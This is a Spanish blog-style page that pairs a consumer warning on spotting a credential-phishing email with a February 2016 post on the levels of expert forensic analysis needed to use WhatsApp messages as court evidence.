Este enlace nos lleva a una página Web “creíble” donde nos piden que introduzcamos nuestro usuario y contraseña, pero si lo hacemos, los delincuentes no solo tendrán acceso a nuestros correos sino que podrán, por ejemplo, suplantarnos utilizando nuestra cuenta para enviar mensajes no deseados, probar nuestra contraseña en otros servicios por si la hemos repetido e incluso cambiar la contraseña para robárnosla y que no podamos utilizarla de nuevo.
Esta es la página que vemos si seguimos el enlace. Aunque por su aspecto podríamos pensar que es verdadera, ya que hasta incluyen el logotipo de una empresa conocida, debemos fijarnos en que la dirección de la página nada tiene que ver ni con nuestro correo ni con la empresa que allí aparece.
¿Te piden actualizar tu correo para 2016? Es un timo
En este ejemplo concreto podemos advertir fácilmente algunas señales que nos indican que el mensaje no persigue nada bueno.

Señales que nos deben hacer sospechar de un correo electrónico

  • Como estos correos suelen venir del extranjero, los errores ortográficos y gramaticales deben hacernos sospechar inmediatamente. Utilizan traductores automáticos que nunca consiguen una corrección suficiente. En este caso, por ejemplo, el propio asunto del mensaje ya es suficientemente sospechoso, ya que aparece ‘cartero’, que en nuestro idioma no tiene relación con los correos electrónicos.
  • El remitente es desconocido. Para saber si el origen es de alguna compañía conocida, nos debemos fijar en el dominio de su dirección electrónica. En este caso vemos que se trata de “ecc.org.eg”, lo que viene escrito después del símbolo ‘@’ en la dirección de origen. Evidentemente no corresponde a nada conocido ni a los administradores de nuestra cuenta, ya que tendría el mismo dominio que nuestra cuenta de correo.
  • Incluso antes de hacer clic en el enlace, podemos saber al tipo de página que nos va a llevar. Solo tenemos que situar el ratón sobre el enlace para ver la dirección Web de destino, como vemos en la primera imagen. Evidentemente no corresponde a ninguna página reconocible.
  • Si decidimos hacer clic en el enlace y los sistemas de protección no nos avisan del peligro, llegaremos a la página Web y veremos el formulario para introducir nuestros datos. También allí debemos fijarnos muy bien en la dirección Web, que veremos en la barra de direcciones superior como señalizamos en la imagen. Está muy claro que no corresponde a nada conocido ni tiene que ver con nuestro proveedor del correo, aunque el aspecto de la página sí pudiera parecérnoslo.
  • Por último, no todos los correos malintencionados persiguen robarnos nuestros datos. A veces, lo que pretenden es que abramos un archivo adjunto, lo que puede llegar a suponer un peligro aún mayor, pues podrían con ello infectar nuestro equipo con algún peligroso virus.

domingo, 14 de febrero de 2016

Las evidencias vía WhatsApp

 claro que las pruebas en papel de una comunicación o conversación mantenida por un sistema de mensajería instantánea, por sí solas, no son suficientes para demostrar la autenticidad de las mismas por lo que son susceptibles de impugnación y que, de hecho, es necesario que quien pretenda aprovechar la idoneidad probatoria de las mismas sea el que tenga la carga de la prueba que, en este caso, podría ser proporcionada mediante un informe pericial.



Dentro de las comunicaciones por mensajería tendrían la misma consideración que los mensajes de Twitter, de los cuales trata la sentencia anterior, los mensajes vía WhatsApp, los SMS, los Correos Electrónicos, los mensajes de Facebook, etc.

Una vez asumido que no basta con el papel para demostrar la autenticidad y la integridadde los contenidos reflejados en un mensaje y que es, totalmente, necesario realizar una validación o verificación del contenido de la comunicación en su formato electrónico, nace la necesidad de establecer dónde está el límite demostrativo pericial para llegar al convencimiento de la autenticidad y no manipulación de los mensajes de la conversación o mensajes relevantes en la misma.

A fin de poder realizar la labor pericial se han de cumplir una serie de premisas en la actuación pericial para obtener las suficientes y necesarias garantías en el proceso:

En primer lugar se ha de validar la legitimidad de quien autoriza la actuación pericial para llevarla a cabo y dejar constancia de la misma puesto que al examinar el contenido de las comunicaciones se entra plenamente en el terreno de la privacidad de los individuos intervinientes. De no tenerse en cuenta esta validación básica se estaría creando una situación de “Fruto del árbol envenenado”.

En segundo lugar se ha de identificar de forma unívoca cual es el dispositivo o repositorio en el cual se encuentra depositada la información que se desea tratar, tanto si se trata del dispositivo desde el cual se ha envido o recibido el mensaje como si se trata del dispositivo en el cual reside el repositorio (base de datos o copia de seguridad) de la información.

En tercer lugar se ha de establecer cuál es el nivel de proporcionalidad adecuado para la actuación pericial que, en buena lógica, debe estar de acorde a la gravedad de los hechos que se deseen demostrar puesto que cada nivel de profundidad en el análisis requiere un nivel de recursos económicos, técnicos y de tiempos diferentes.

Del mismo modo que no sería correcto ni lógico obtener dos decimales en una operación de división cuando se trata de determinar en cuántas porciones se divide un pastel, sin embargo, por otro lado, sería totalmente imprescindible considerar los decimales para el cálculo de un componente químico en una formulación química de un medicamento o compuesto, ocurre lo mismo con la proporcionalidad del análisis de los mensajes por WhatsApp en el que la actuación no sería la misma para un caso que se quisiese demostrar simplemente demostrar la existencia de una información o una injuria o, en mayor nivel de gravedad, una calumnia.



En este sentido, es el perito quien en su experiencia profesional y personal debiera, junto con el abogado determinar, cuál es el nivel de profundidad que se ha de establecer en el análisis forense de los mensajes de WhatsApp pudiéndose identificar, a priori, tres diferentes niveles de profundidad en la recopilación de evidencias o análisis de las mismas.

a) Nivel Básico o Elemental

Consiste en la recopilación de los mensajes para la obtención de evidencias en un formato electrónico de una forma sencilla y básica sin mayor nivel de análisis que la verificación y constatación visual que el los mensajes existen bien sea con fotografías de la conversación en cuestión o con captura de pantalla.

b) Nivel Intermedio o Normal

Consiste en el envío por correo electrónico de la conversación con los ficheros contenidos dentro del mismo, realizándose un análisis del correo recibido y del fichero adjunto (con la conversación WhatsApp). Se pueden añadir las operaciones actuaciones del Nivel Básico.

c) Nivel Profundo Forensic o Especial

Consiste en la extracción de la conversación desde el dispositivo propio (Base de Datos de WhatsApp) o bien desde una copia de seguridad que se posea guardada y preservada de la misma. Se pueden añadir las operaciones actuaciones del Nivel Básico y/o las del Nivel Intermedio.

Es comprensible y fácil de entender que a mayor nivel de garantía y de exigencia en la actuación pericial, mayor es el tiempo y los recursos implicados y, consecuentemente, se necesita una mayor cantidad de tiempo para su ejecución, coste y nivel profesional del perito implicado.

Como siempre añadir, como opinión personal, que en este tipo de encargos, aunque a primera vista parezca algo no demasiado complejo, mi recomendación es que no dejen la recopilación y tratamiento de sus evidencias en manos de quien podría malograrlas de forma definitiva e irremediable y, por lo tanto, sean consecuentes en la elección del profesional perito que les va a soportar en estas actividades.